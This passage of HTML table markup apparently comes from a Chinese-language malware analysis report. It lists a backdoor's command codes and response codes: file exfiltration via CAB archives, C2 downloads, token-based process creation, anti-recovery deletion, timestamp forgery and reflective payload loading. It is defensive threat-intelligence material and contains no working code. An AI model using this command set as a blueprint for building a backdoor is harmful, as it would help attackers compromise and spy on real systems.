style="font-size:11.0pt;"><span leaf="">0x2007</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">压缩指定的文件或目录成</span><span lang="EN-US"><span leaf="">CAB</span></span><span leaf="">文件并发送</span></span></p></td></tr><tr style="mso-yfti-irow:6;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2008</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">从</span><span lang="EN-US"><span leaf="">C2</span></span><span leaf="">下载文件</span></span></p></td></tr><tr style="mso-yfti-irow:7;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2009</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">从</span><span lang="EN-US"><span leaf="">C2</span></span><span leaf="">下载文件并追加随机垃圾数据</span></span></p></td></tr><tr style="mso-yfti-irow:8;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2010</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">普通权限创建进程</span></span></p></td></tr><tr style="mso-yfti-irow:9;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2011</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><strong><span style="font-size:11.0pt;font-family:DengXian;mso-ascii-font-family:Roboto;mso-fareast-theme-font:minor-fareast;mso-hansi-font-family:
  Roboto;mso-bidi-font-family:&#34;Times New Roman&#34;;mso-bidi-theme-font:minor-bidi;color:black;mso-color-alt:windowtext;letter-spacing:.1pt;background:white;font-weight:normal;mso-bidi-font-weight:bold;"><span leaf="">使用用户令牌创建进程</span></span></strong></p></td></tr><tr style="mso-yfti-irow:10;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2012</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">枚举进程和模块信息并发送</span></span></p></td></tr><tr style="mso-yfti-irow:11;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2013</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">终止指定进程</span></span></p></td></tr><tr style="mso-yfti-irow:12;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2014</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">删除指定文件</span><span lang="EN-US"><span leaf="">(</span></span><span leaf="">防恢复</span><span lang="EN-US"><span leaf="">)</span></span></span></p></td></tr><tr style="mso-yfti-irow:13;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2015</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">测试指定</span><span lang="EN-US"><span leaf="">ip:port</span></span><span leaf="">连通性</span></span></p></td></tr><tr style="mso-yfti-irow:14;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2016</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">伪装文件时间戳</span></span></p></td></tr><tr style="mso-yfti-irow:15;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2017</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">设置当前工作目录</span></span></p></td></tr><tr style="mso-yfti-irow:16;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2018</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">更新重连</span><span lang="EN-US"><span leaf="">C2</span></span><span leaf="">间隔时间</span></span></p></td></tr><tr style="mso-yfti-irow:17;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2019</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">更新配置</span></span></p></td></tr><tr style="mso-yfti-irow:18;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2020</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">更新</span><span lang="EN-US"><span leaf="">ChaCha20</span></span><span leaf="">密钥</span></span></p></td></tr><tr style="mso-yfti-irow:19;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2021</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">递归统计指定目录下的子目录数量、文件数量和文件总大小，并发送结果。</span></span></p></td></tr><tr style="mso-yfti-irow:20;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2022</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">获取指定磁盘信息</span></span></p></td></tr><tr style="mso-yfti-irow:21;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2023</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">设置延迟唤醒并更新配置</span></span></p></td></tr><tr style="mso-yfti-irow:22;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2024</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">更新重连</span><span lang="EN-US"><span leaf="">C2</span></span><span leaf="">间隔时间</span></span></p></td></tr><tr style="mso-yfti-irow:23;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2025</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">模式</span><span lang="EN-US"><span leaf="">3</span></span><span leaf="">：退出进程；</span></span></p><p><span style="font-size:11.0pt;"><span leaf="">模式</span><span lang="EN-US"><span leaf="">1</span></span><span leaf="">：释放内存，卸载当前实例</span></span></p></td></tr><tr style="mso-yfti-irow:24;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2026</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">发送当前配置信息</span></span></p></td></tr><tr style="mso-yfti-irow:25;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2027</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">预留命令，仅返回成功响应</span></span></p></td></tr><tr style="mso-yfti-irow:26;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2028</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">接收载荷并反射加载</span></span></p></td></tr><tr style="mso-yfti-irow:27;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2029</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">复制文件</span></span></p></td></tr><tr style="mso-yfti-irow:28;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2030</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">移动文件</span></span></p></td></tr><tr style="mso-yfti-irow:29;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2031</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">删除文件</span></span></p></td></tr><tr style="mso-yfti-irow:30;mso-yfti-lastrow:yes;"><td data-colwidth="111" width="11%" valign="top" style="border-width: medium 1pt 1pt;border-style: none solid solid;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191);border-image: initial;padding: 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2032</span></span></p></td><td data-colwidth="404" width="88%" valign="top" style="border-width: medium 1pt 1pt medium;border-style: none solid solid none;border-color: currentcolor rgb(191, 191, 191) rgb(191, 191, 191) currentcolor;padding: 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">返回一个</span><span lang="EN-US"><span leaf=""> 4 </span></span><span leaf="">字节的零值并报告成功</span></span></p></td></tr></tbody></table><p style="text-align: center;margin-top: 16px;margin-bottom: 16px;"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;"><span textstyle="" style="font-size: 14px;color: rgb(2, 30, 170);font-weight: normal;">表 3 后门响应代码</span></span></p><table style="border-collapse:collapse;border:none;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt;width:504px;"><tbody><tr style="mso-yfti-irow:0;mso-yfti-firstrow:yes;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">代码</span></span></p></td><td data-colwidth="401" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-left:none;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">标志</span></span></p></td></tr><tr style="mso-yfti-irow:1;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-top:none;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2040</span></span></p></td><td data-colwidth="401" valign="top" style="border-top:none;border-left:none;border-bottom:solid #BFBFBF 1.0pt;mso-border-bottom-themecolor:background1;mso-border-bottom-themeshade:191;border-right:solid #BFBFBF 1.0pt;mso-border-right-themecolor:background1;mso-border-right-themeshade:191;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">成功</span></span></p></td></tr><tr style="mso-yfti-irow:2;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-top:none;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2041</span></span></p></td><td data-colwidth="401" valign="top" style="border-top:none;border-left:none;border-bottom:solid #BFBFBF 1.0pt;mso-border-bottom-themecolor:background1;mso-border-bottom-themeshade:191;border-right:solid #BFBFBF 1.0pt;mso-border-right-themecolor:background1;mso-border-right-themeshade:191;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">失败</span></span></p></td></tr><tr style="mso-yfti-irow:3;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-top:none;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2042</span></span></p></td><td data-colwidth="401" valign="top" style="border-top:none;border-left:none;border-bottom:solid #BFBFBF 1.0pt;mso-border-bottom-themecolor:background1;mso-border-bottom-themeshade:191;border-right:solid #BFBFBF 1.0pt;mso-border-right-themecolor:background1;mso-border-right-themeshade:191;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">文件数据块</span></span></p></td></tr><tr style="mso-yfti-irow:4;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-top:none;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2043</span></span></p></td><td data-colwidth="401" valign="top" style="border-top:none;border-left:none;border-bottom:solid #BFBFBF 1.0pt;mso-border-bottom-themecolor:background1;mso-border-bottom-themeshade:191;border-right:solid #BFBFBF 1.0pt;mso-border-right-themecolor:background1;mso-border-right-themeshade:191;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">发出进程和模块信息</span></span></p></td></tr><tr style="mso-yfti-irow:5;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-top:none;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2044</span></span></p></td><td data-colwidth="401" valign="top" style="border-top:none;border-left:none;border-bottom:solid #BFBFBF 1.0pt;mso-border-bottom-themecolor:background1;mso-border-bottom-themeshade:191;border-right:solid #BFBFBF 1.0pt;mso-border-right-themecolor:background1;mso-border-right-themeshade:191;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">CAB</span></span><span style="font-size:11.0pt;"><span leaf="">打包过程心跳</span></span></p></td></tr><tr style="mso-yfti-irow:6;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-top:none;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2045</span></span></p></td><td data-colwidth="401" valign="top" style="border-top:none;border-left:none;border-bottom:solid #BFBFBF 1.0pt;mso-border-bottom-themecolor:background1;mso-border-bottom-themeshade:191;border-right:solid #BFBFBF 1.0pt;mso-border-right-themecolor:background1;mso-border-right-themeshade:191;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">CAB</span></span><span style="font-size:11.0pt;"><span leaf="">打包完成</span></span></p></td></tr><tr style="mso-yfti-irow:7;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-top:none;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2046</span></span></p></td><td data-colwidth="401" valign="top" style="border-top:none;border-left:none;border-bottom:solid #BFBFBF 1.0pt;mso-border-bottom-themecolor:background1;mso-border-bottom-themeshade:191;border-right:solid #BFBFBF 1.0pt;mso-border-right-themecolor:background1;mso-border-right-themeshade:191;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">CAB</span></span><span style="font-size:11.0pt;"><span leaf="">打包失败</span></span></p></td></tr><tr style="mso-yfti-irow:8;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-top:none;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2047</span></span></p></td><td data-colwidth="401" valign="top" style="border-top:none;border-left:none;border-bottom:solid #BFBFBF 1.0pt;mso-border-bottom-themecolor:background1;mso-border-bottom-themeshade:191;border-right:solid #BFBFBF 1.0pt;mso-border-right-themecolor:background1;mso-border-right-themeshade:191;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
  background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span style="font-size:11.0pt;"><span leaf="">请求命令</span></span></p></td></tr><tr style="mso-yfti-irow:9;"><td data-colwidth="103" valign="top" style="border:solid #BFBFBF 1.0pt;mso-border-themecolor:background1;mso-border-themeshade:191;border-top:none;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:background1;mso-border-themeshade:191;padding:0cm 5.4pt 0cm 5.4pt;"><p><span lang="EN-US" style="font-size:11.0pt;"><span leaf="">0x2048</span></span></p></td><td data-colwidth="401" valign="top" style="border-top:none;border-left:none;border-bottom:solid #BFBFBF 1.0pt;mso-border-bottom-themecolor:background1;mso-border-bottom-themeshade:191;border-right:solid #BFBFBF 1.0pt;mso-border-right-themecolor:background1;mso-border-right-themeshade:191;mso-border-top-alt:solid #BFBFBF .5pt;mso-border-top-themecolor:background1;mso-border-top-themeshade:191;mso-border-left-alt:solid #BFBFBF .5pt;mso-border-left-themecolor:background1;mso-border-left-themeshade:191;mso-border-alt:solid #BFBFBF .5pt;mso-border-themecolor:
